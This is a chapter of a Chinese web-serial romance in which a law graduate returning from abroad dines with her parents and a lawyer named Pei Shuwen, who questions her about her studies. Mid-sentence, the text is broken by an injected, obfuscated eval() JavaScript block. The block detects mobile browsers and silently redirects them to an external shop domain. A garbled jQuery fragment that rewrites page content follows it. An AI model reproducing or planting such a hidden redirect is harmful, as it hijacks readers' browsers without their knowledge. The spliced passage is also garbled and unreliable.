2. chapter 02
    采荷轩外的雕花木门虚掩着,夜间偶尔有一簇微风刮过,能嗅到屋内淡雅幽长的合香。

    林朝月站在门外青鹅卵石铺的路面上,内心忐忑。

    但都到这时候了,想躲是躲不掉的。

    何况她先一步到,裴舒文和徐助估计也马上过来了。

    总不能真傻愣愣地站在这里等他们一起。

    她深吸一口气,推开木门走了进去,屏风后隐约能听见里面有人谈笑。

    大概是听见了外面的动静,屋内有人起身走了过来。

    林朝月紧张的心情在此刻几乎达到了巅峰。

    看样子不管多大年纪,犯了错的孩子都怕见家长。

    她挪动的步伐明显变小了……

    “月丫头到了?路上走了这么久是不是累了?快进来坐,今天陈叔给你准备了你最喜欢的桂花酒酿圆子。”

    见是陈叔,林朝月的紧张明显消了几分,她甜甜地笑了下,应道:“谢谢陈叔。”

    陈叔是小姨的朋友,几乎是从小看着她长大的。

    陈伯瑜许久没见林朝月,上下仔细打量了一番:“我们月丫头又漂亮了,变大姑娘了,这次回国就别再出去了,外面有什么好,你听陈叔的,咱们以后就留在宁城,平时想吃什么了就来陈叔这里,想吃什么咱们就做什么。”

    不得不说,吃了好几年的白人饭,陈叔这话的诱惑力不小,但她爸妈那关还没过,林朝月脑袋里的筋还紧绷着。

    林朝月朝屏风后面探了一眼,小声问:“我爸妈呢。”

    谁知道这屋子半点不隔音。

    她声音已经压得极低了,还是被里面雅间的人听了去。

    “都到了还不快进来,陈叔起身迎你还不够,还要所有人请你进门吗?”钟凌言辞沉稳中带着严厉。

    林朝月心想,今天果然是‘鸿门宴’。

    她们家钟女士平日里虽然也强势,但对自己这个唯一的女儿态度也算刚中带柔,鲜少会是这种态度。

    眼下这是和她生了不小的气。

    陈伯瑜倒觉得这个年纪的小孩犯点错没什么,忙着打圆场:“一个人在外面呆了这么久,你爸妈是惦记你呢,快进去吧,今天你方爷爷也在。”

    方爷爷?

    林朝月显然没第一时间想起这位‘方爷爷’是谁。

    但等听陈叔说了后半句,她就知道了。

    “你方爷爷家的外孙小时候和你住过一个院子,他今天也在,等会儿见了面你没准也认识。”

    说罢,陈伯瑜脸上就是一喜,视线越过林朝月落在她身后:“你看,说曹操曹操就到了,月丫头你看看你还认不认识了。”

    林朝月此时也回身看过去。

    来人如她所想,正是裴舒文。

    不像刚刚在外面时外放的气场,此时他的情绪收敛着,目光柔和,如果穿得不是西装而是常服,大约真的像是哪位邻家大哥哥。

    她打量着他,最后目光猝不及防地同他对视。

    他眸子坦荡如同一汪平静的水,倒影中她的神情反而有些不自在。

    林朝月心跳莫名加快,随后不太自然地别开眼去。

    裴舒文听见了陈叔的话,解释:“我们刚刚在门口遇见,已经认识了,门外拦路的客人走了,不会影响今晚的用餐。”

    陈伯瑜笑着拍了下手:“那感情好,不过可惜你和月丫头错过了今晚餐前的点茶,下次有机会你们俩单独过来,我最近收了批上好的白茶,到时候让你们尝尝。”

    陈叔看起来也和裴舒文很熟稔,说着话,几个人就进了里面的雅间。

    林朝月被打断了一下,反而没那么紧张了,还有心情四处打量。

    雅间外是玉石屏风,雅间内却是全实木建造的,宁城夏季的傍晚不热,屋内的支摘窗敞着,纱窗是桑蚕丝织造的帘幕,屋内的圆桌上摆着装有活鱼的透明鱼缸,中间翠绿的荷叶上边还飘着未燃尽的香灯。

    林朝月自觉自己出生优越见多识广,但此时也有些像土鳖进城。

    但土鳖归土鳖,基本的社交礼仪她没忘。

    进来的第一时间就叫了人:“爸妈,方爷爷。”

    钟凌本来还存着气,但见女儿比上次见时瘦了一圈,态度缓和了些:“来这边坐,你陈叔今天准备了不少你爱吃的。”

    林腾辉倒觉得女儿的那些事都是小事,但既然和妻子达成了统一战线,也不好太热情,只是招呼着叫了一声她的小名。

    整间屋子里,对林朝月关注最多的要数裴舒文的这个外祖父了。

    林朝月叫过人后,他一连说了几个‘好’,还送了她一份见面礼。白色锦盒中装着一只成色少见的黄翡手镯。

    “来丫头,这个送给你,方爷爷的见面礼。”

    这手镯一看就很贵重,何况林朝月和这位方爷爷还是第一次见,她连忙推辞:“方爷爷,我不能收您的礼物。”

    “就是一个小玩意,这有什么不能收的,快拿着。我这老头子下面几个孙子外孙,就是和孙女没缘分,我这外孙整日的不着家,出来吃饭也要忙工作,也不知道哪天才能带个孙媳妇回来,首饰放在那里都蒙尘了,还不如出来见见光。”

    裴舒文对自己祖父这态度见怪不怪。

    他极为绅士地为自己中途离席道歉后,然后又重新落座。

    陈叔也坐回了自己的位置。

    最后只剩林朝月还站着了。

    在钟女士的默许下,她最后还是收了礼物:“谢谢方爷爷。”

    “谢什么谢,快坐快坐。”

    这种聚会,用餐的位置都是一开始留好的,她环视了一圈,在一旁找到了自己的位置,不过让林朝月比较意外的是,陈叔把她和裴舒文的位置安排在一起。

    连给她准备的酒酿圆子也是放在靠裴舒文这侧,而不是放在她右手边的钟女士那里。

    换做以前,她可能会默默地把白瓷碗端过来些,但想到钟女士刚刚的态度。

    她落座后就乖巧没动,尽力降低自己的存在感。

    但大家刚刚都听见了裴舒文的话,这场景落在他们眼里,就以为林朝月已经和裴舒文很熟了。

    林腾辉率先说:“月月,你和你舒文哥哥算是同行,你舒文哥哥在法律领域非常厉害,你要多和他聊聊,多向他学习。”

    “对,多聊聊,你们年轻人话题多。”陈叔附和着。

    最后连钟女士和方爷爷都认同地点了点头。

    聊什么?

    聊她国外留学这几年怎么混日子?

    还是她前脚拿法学毕业证,后脚就被诈骗……

    林朝月勉强朝一旁的裴舒文笑笑,安静低头吃酒酿圆子掩饰尴尬。

    好在大人们点到为止,又继续林朝月进来前的话题聊起了金融和投资。

    重点不在她这,那她就放心了。

    林朝月舒了口气,但刚要松懈下来,她就发现裴舒文在很认真地在看她。

    和他这么短的相处时间里。

    林朝月发现每次裴舒文看自己的眼神都不一样。或者绅士、或者平静,或者审视。但每次又都恰到好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355321|140701||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处。

    这次则是探究。

    裴舒文不知道是对她感兴趣,还是顺应大家刚才的话准备和她‘聊聊’。

    见她看向他,顺势开始问了一些她学业相关的问题。

    问得内容不算非常专业,但总能提到一些关键。

    裴舒文:“国外的法律并不比国内的轻松,怎么想到选这个专业?”

    林朝月不傻,知道裴舒文问得肯定不是这个,而是想问他们一家子经商的,怎么就她跳脱地选了法学。

    她总不能说当年信了李聪的邪,听说这个专业好毕业,就陪着他一起了,国内读读不够,本科毕业又去了国外。

    林朝月微笑:“觉得法律专业比较有发展前景。”

    但裴舒文好像真的只是闲聊,并不计较她给的回答,也不深究。

    紧接着便换了个话题:“听钟姨说,你之前参加过耶伦教授在校外的项目,据我所知,耶伦教授对名下团队的要求非常高。”

    “你认识耶伦教授?”

    裴舒文:“嗯,之前合作过一起海外项目,他非常专业,在法律方面也有自己的坚持。”

    林朝月没想到回国还能听人提起耶伦教授,这是她的侵权法老师,她虽然不怎么爱上课,但很喜欢这个小老头。连带着对认识他的裴舒文也亲切了几分。

    这次倒是主动多聊了一些。

    林朝月:“耶伦教授其实没大家说的那么严格,他只是对法律比较专注,有一段时间他对我们国家的经济犯罪比较感兴趣,我刚好听我爸妈提过一些,课后多和他聊了几句,他就邀请我去他的律所看他近几年承接的案子。”

    后面耶伦教授发现她记性非常好,随眼看过的案子连一些细节都记得,就降低成绩要求破格把她叫过去帮忙了。

    不过后面的这些林朝月没提。

    她不大关注学业,也不卷绩点,之前只知道耶伦教授是一年级侵权法课程的讲师,等后面误打误撞进了他校外的项目团队,认识了里面的一众大拿后,她才惊觉自己确实是走了狗屎运。

    还是非常大的狗屎运,

    裴舒文若有所思地问:“有什么比较感兴趣的案例吗?耶伦教授承接的项目应该都比较有挑战性。”

    其实是有的,而且不止一个,比如有一起美国密室逃脱qj案。

    工作人员对困在密室体力悬殊的女生实施犯罪,女生全程并没有反抗,但离开后的第一时间指控男店员qj,男店员拒不承认,说女生是自愿的,女生在耶伦教授的帮助下最终胜诉。

    这案子后面还引起了很大的社会反响。

    但大人们还在聊生意上的事,她也不好一提就提一个这么劲爆的。

    林朝月想了想后,想起了另外的案子。

    是一桩跨国房产买卖案,刚好那案子的被告也是宁城人。她还参加了一些这个案子的收尾工作,拿了一个学分,所以印象深刻。

    “倒是有一个,被告是宁城人……”

    裴舒文示意她继续说。她随意讲了一下,在裴舒文的引导下,她偶尔还会穿插一些自己的理解。

    裴舒文明显听得更专注了,连坐在对面的林腾辉和方万里偶尔也会投过来一个目光。

    但林朝月太过投入,完全没留意这些。

    直到她说完,裴舒文猝不及防的问题,才让她猛地回神。

    裴舒文凝神看了林朝月一会儿,渐渐推翻之前对林朝月的预期,心里有了其他打算:“听起来你对国内的法律体系也了解一些,你对回国发展有什么看法?”